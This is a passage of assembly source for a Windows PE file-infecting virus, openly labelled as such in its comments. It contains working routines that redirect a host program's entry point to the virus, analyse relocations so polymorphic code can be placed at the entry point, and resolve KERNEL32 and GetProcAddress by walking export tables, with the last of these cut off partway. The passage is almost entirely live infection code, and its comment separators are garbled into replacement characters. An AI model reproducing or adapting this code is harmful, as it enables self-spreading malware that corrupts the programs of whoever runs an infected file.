;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Change the entry-point field in file header
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
fuxoring_file: ;Well, after checking relocations for this file we
|
|||
|
|
;found that there is a relocation over the first
|
|||
|
|
;five bytes of host entry-point code
|
|||
|
|
|
|||
|
|
;Our buffer is ZERO bytes coz no code needs to be
|
|||
|
|
;restored on host execution
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
mov dword ptr [ebp+insert_size+mem_size],eax
|
|||
|
|
|
|||
|
|
;Get the RVA for virus entry-point
|
|||
|
|
|
|||
|
|
call get_last_sh
|
|||
|
|
mov eax,dword ptr [ebp+original_size]
|
|||
|
|
add eax,poly_decryptor-Mem_Base
|
|||
|
|
add eax,dword ptr [edi+SH_VirtualAddress]
|
|||
|
|
sub eax,dword ptr [edi+SH_PointerToRawData]
|
|||
|
|
|
|||
|
|
;Overwrite OH_AddressOfEntryPoint with the
|
|||
|
|
;virus entry point
|
|||
|
|
|
|||
|
|
mov dword ptr [esi+OH_AddressOfEntryPoint],eax
|
|||
|
|
jmp back2infection
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Get pointer to last section header
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
get_last_sh: ;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;ebx - Host base address
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;esi - IMAGE_OPTIONAL_HEADER
|
|||
|
|
;edi - Pointer to last section header
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
mov esi,dword ptr [ebx+DH_lfanew]
|
|||
|
|
add esi,ebx
|
|||
|
|
cld
|
|||
|
|
lodsd
|
|||
|
|
movzx ecx,word ptr [esi+FH_NumberOfSections]
|
|||
|
|
dec ecx
|
|||
|
|
mov eax,IMAGE_SIZEOF_SECTION_HEADER
|
|||
|
|
mul ecx
|
|||
|
|
movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
|
|||
|
|
add esi,IMAGE_SIZEOF_FILE_HEADER
|
|||
|
|
add eax,edx
|
|||
|
|
add eax,esi
|
|||
|
|
mov edi,eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Convert RVA to RAW
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
RVA2RAW: ;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;ebx - Host base address
|
|||
|
|
;edx - RVA to convert
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;ecx - Pointer to RAW data or NULL if error
|
|||
|
|
;edx - Section delta offset
|
|||
|
|
;esi - Pointer to IMAGE_OPTIONAL_HEADER
|
|||
|
|
;edi - Pointer to section header
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
mov dword ptr [ebp+search_raw],edx
|
|||
|
|
mov esi,dword ptr [ebx+DH_lfanew]
|
|||
|
|
add esi,ebx
|
|||
|
|
lodsd
|
|||
|
|
movzx ecx,word ptr [esi+FH_NumberOfSections]
|
|||
|
|
jecxz err_RVA2RAW
|
|||
|
|
movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
|
|||
|
|
add esi,IMAGE_SIZEOF_FILE_HEADER
|
|||
|
|
add edi,esi
|
|||
|
|
|
|||
|
|
;Get the IMAGE_SECTION_HEADER that contains RVA
|
|||
|
|
;
|
|||
|
|
;At this point:
|
|||
|
|
;
|
|||
|
|
;ebx - File base address
|
|||
|
|
;esi - Pointer to IMAGE_OPTIONAL_HEADER
|
|||
|
|
;edi - Pointer to first section header
|
|||
|
|
;ecx - Number of sections
|
|||
|
|
|
|||
|
|
s_img_section:
|
|||
|
|
;Check if address of imports directory is inside this
|
|||
|
|
;section
|
|||
|
|
|
|||
|
|
mov eax,dword ptr [ebp+search_raw]
|
|||
|
|
mov edx,dword ptr [edi+SH_VirtualAddress]
|
|||
|
|
sub eax,edx
|
|||
|
|
cmp eax,dword ptr [edi+SH_VirtualSize]
|
|||
|
|
jb section_ok
|
|||
|
|
|
|||
|
|
out_of_section: ;Go to next section header
|
|||
|
|
|
|||
|
|
add edi,IMAGE_SIZEOF_SECTION_HEADER
|
|||
|
|
loop s_img_section
|
|||
|
|
err_RVA2RAW: ret
|
|||
|
|
|
|||
|
|
section_ok: ;Get raw
|
|||
|
|
|
|||
|
|
mov ecx,dword ptr [edi+SH_PointerToRawData]
|
|||
|
|
sub edx,ecx
|
|||
|
|
add ecx,eax
|
|||
|
|
add ecx,ebx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Do needed relocation corrections over code at host entry-point
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
do_reloc_work: ;Entry:
|
|||
|
|
;
|
|||
|
|
;ebx - host base address
|
|||
|
|
;esi - IMAGE_BASE_RELOCATION
|
|||
|
|
;edi - IMAGE_OPTIONAL_HEADER
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;ecx - Space free of relocations at entry-point
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
;Get IBR_VirtualAddress
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
lodsd
|
|||
|
|
mov edx,eax
|
|||
|
|
|
|||
|
|
;Get IBR_SizeOfBlock
|
|||
|
|
|
|||
|
|
lodsd
|
|||
|
|
or eax,eax
|
|||
|
|
jnz continue_reloc
|
|||
|
|
|
|||
|
|
;We have reached the last relocation and all of them
|
|||
|
|
;seem to refer to virtual addresses behind the host
|
|||
|
|
;entry-point, so we can generate lots of polymorphic
|
|||
|
|
;code there
|
|||
|
|
|
|||
|
|
xor ecx,ecx
|
|||
|
|
not ecx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
continue_reloc: ;Get number of relocations in this block
|
|||
|
|
|
|||
|
|
sub eax,IMAGE_SIZEOF_BASE_RELOCATION
|
|||
|
|
shr eax,01h
|
|||
|
|
mov ecx,eax
|
|||
|
|
|
|||
|
|
rblock_loop: ;Get IBR_TypeOffset
|
|||
|
|
|
|||
|
|
push ecx
|
|||
|
|
xor eax,eax
|
|||
|
|
lodsw
|
|||
|
|
and ax,0FFFh
|
|||
|
|
add eax,edx
|
|||
|
|
cmp eax,dword ptr [edi+OH_AddressOfEntryPoint]
|
|||
|
|
jae reloc_over_ep
|
|||
|
|
|
|||
|
|
next_reloc: ;Follow relocations chain
|
|||
|
|
|
|||
|
|
pop ecx
|
|||
|
|
loop rblock_loop
|
|||
|
|
jmp short do_reloc_work
|
|||
|
|
|
|||
|
|
reloc_over_ep: ;Get number of bytes from entry-point to first relocation
|
|||
|
|
|
|||
|
|
pop ecx
|
|||
|
|
sub eax,dword ptr [edi+OH_AddressOfEntryPoint]
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Get entry point for GetProcAddress
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
my_GetProcAddr: ;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;a_Kernel32 - Base address for kernel32
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;eax - Entry point for GetProcAddress
|
|||
|
|
; or NULL if error
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
push ebx
|
|||
|
|
|
|||
|
|
;Check for MZ signature at base address
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
mov ebx,dword ptr [ebp+a_Kernel32]
|
|||
|
|
cmp word ptr [ebx],IMAGE_DOS_SIGNATURE
|
|||
|
|
jne e_GetProcAddr
|
|||
|
|
|
|||
|
|
;Now go to the pe header and check for the PE signature
|
|||
|
|
|
|||
|
|
mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.DH_lfanew]
|
|||
|
|
add esi,ebx
|
|||
|
|
lodsd
|
|||
|
|
cmp eax,IMAGE_NT_SIGNATURE
|
|||
|
|
jne e_GetProcAddr
|
|||
|
|
|
|||
|
|
;Get pointer to Image Export Directory and save it
|
|||
|
|
|
|||
|
|
add esi,NT_OptionalHeader. \
|
|||
|
|
OH_DirectoryEntries. \
|
|||
|
|
DE_Export. \
|
|||
|
|
DD_VirtualAddress-0004h
|
|||
|
|
lodsd
|
|||
|
|
add eax,ebx
|
|||
|
|
push eax
|
|||
|
|
|
|||
|
|
;Get pointer to exported function names
|
|||
|
|
;Also follow the AddressOfNameOrdinals array
|
|||
|
|
|
|||
|
|
mov ecx,dword ptr [eax+ED_NumberOfNames]
|
|||
|
|
mov edx,dword ptr [eax+ED_AddressOfNameOrdinals]
|
|||
|
|
add edx,ebx
|
|||
|
|
lea esi,dword ptr [eax+ED_AddressOfNames]
|
|||
|
|
lodsd
|
|||
|
|
add eax,ebx
|
|||
|
|
|
|||
|
|
next_name: ;Search for GetProcAddress in exported function names
|
|||
|
|
|
|||
|
|
push ecx
|
|||
|
|
lea esi,dword ptr [ebp+szGetProcAddr]
|
|||
|
|
mov edi,dword ptr [eax]
|
|||
|
|
or edi,edi
|
|||
|
|
jz try_next
|
|||
|
|
|
|||
|
|
got_name_rva: ;Get absolute address
|
|||
|
|
|
|||
|
|
add edi,ebx
|
|||
|
|
|
|||
|
|
;Compare names
|
|||
|
|
|
|||
|
|
mov ecx,0000000Eh
|
|||
|
|
repe cmpsb
|
|||
|
|
je found_name
|
|||
|
|
|
|||
|
|
try_next: ;Go to next name
|
|||
|
|
|
|||
|
|
add eax,00000004h
|
|||
|
|
add edx,00000002h
|
|||
|
|
pop ecx
|
|||
|
|
loop next_name
|
|||
|
|
|
|||
|
|
;Name not found, exit with error
|
|||
|
|
|
|||
|
|
pop eax
|
|||
|
|
jmp short e_GetProcAddr
|
|||
|
|
|
|||
|
|
found_name: ;Ok, now edx is the index of the function, so
|
|||
|
|
;lets look at AddressOfNameOrdinals using that index
|
|||
|
|
|
|||
|
|
pop ecx
|
|||
|
|
pop edi
|
|||
|
|
|
|||
|
|
;Get ordinal for function
|
|||
|
|
|
|||
|
|
movzx eax,word ptr [edx]
|
|||
|
|
|
|||
|
|
;Check if ordinal out of range
|
|||
|
|
|
|||
|
|
cmp eax,[edi+ED_NumberOfFunctions]
|
|||
|
|
jae short e_GetProcAddr
|
|||
|
|
|
|||
|
|
;This is the starting export ordinal number
|
|||
|
|
|
|||
|
|
sub eax,dword ptr [edi+ED_BaseOrdinal]
|
|||
|
|
inc eax
|
|||
|
|
shl eax,02h
|
|||
|
|
|
|||
|
|
;Get address of function
|
|||
|
|
|
|||
|
|
mov esi,dword ptr [edi+ED_AddressOfFunctions]
|
|||
|
|
add esi,eax
|
|||
|
|
add esi,ebx
|
|||
|
|
lodsd
|
|||
|
|
add eax,ebx
|
|||
|
|
pop ebx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
e_GetProcAddr: ;GetProcAddress not found, exit with error
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
pop ebx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Get KERNEL32 module handle if we cant get it using GetModuleHandle
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
my_getkernel: ;Get KERNEL32 base address using the ID_ForwarderChain
|
|||
|
|
;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;ebx - Base address of host in memory
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;eax - Kernel32 base address or NULL if error
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
;Generate a mov esi,xxxx instruction
|
|||
|
|
|
|||
|
|
db 0BEh
|
|||
|
|
|
|||
|
|
;This is just a rva that points to ID_ForwarderChain
|
|||
|
|
;field inside Kernel32 import module descriptor
|
|||
|
|
|
|||
|
|
rva_kernel32 dd 00000000h
|
|||
|
|
|
|||
|
|
;Get Kernel32 entry point from ID_ForwarderChain
|
|||
|
|
|
|||
|
|
add esi,ebx
|
|||
|
|
lodsd
|
|||
|
|
|
|||
|
|
;Check for the MZ signature
|
|||
|
|
|
|||
|
|
cmp word ptr [eax],IMAGE_DOS_SIGNATURE
|
|||
|
|
jne err_getkernel
|
|||
|
|
|
|||
|
|
;Now go to the pe header and check for the PE signature
|
|||
|
|
|
|||
|
|
mov esi,dword ptr [eax+DH_lfanew]
|
|||
|
|
cmp dword ptr [esi+eax],IMAGE_NT_SIGNATURE
|
|||
|
|
jne err_getkernel
|
|||
|
|
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
err_getkernel: ;Could not find KERNEL32 base addres :(
|
|||
|
|
|
|||
|
|
xor eax,eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
;Get APIs entry point
|
|||
|
|
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|
|||
|
|
get_functions: ;Get the entry point for all KERNEL32 API functions
|
|||
|
|
;used by the virus
|
|||
|
|
;
|
|||
|
|
;Entry:
|
|||
|
|
;
|
|||
|
|
;None
|
|||
|
|
;
|
|||
|
|
;Exit:
|
|||
|
|
;
|
|||
|
|
;ecx - NULL if error
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
;Dont fuck our host base address
|
|||
|
|
|
|||
|
|
push ebx
|
|||
|
|
|
|||
|
|
;Get pointer to viral function names
|
|||
|
|
|
|||
|
|
lea esi,dword ptr [ebp+viral_functions]
|
|||
|
|
lea edi,dword ptr [ebp+viral_addresses]
|
|||
|
|
|
|||
|
|
;Get number of functions
|
|||
|
|
|
|||
|
|
mov ecx,(offset viral_tbl_end-offset viral_functions)/04h
|
|||
|
|
|
|||
|
|
get_each_ep: ;Get pointer to function name
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
lodsd
|
|||
|
|
add eax,ebp
|
|||
|
|
|
|||
|
|
;Save counter and pointers
|
|||
|
|
|
|||
|
|
push ecx
|
|||
|
|
push esi
|
|||
|
|
push edi
|
|||
|
|
|
|||
|
|
;Get entry point using GetProcAddress
|
|||
|
|
|
|||
|
|
push eax
|
|||
|
|
push dword ptr [ebp+a_Kernel32]
|
|||
|
|
call dword ptr [ebp+a_GetProcAddr]
|
|||
|
|
|
|||
|
|
;Restore counter and pointers
|
|||
|
|
|
|||
|
|
pop edi
|
|||
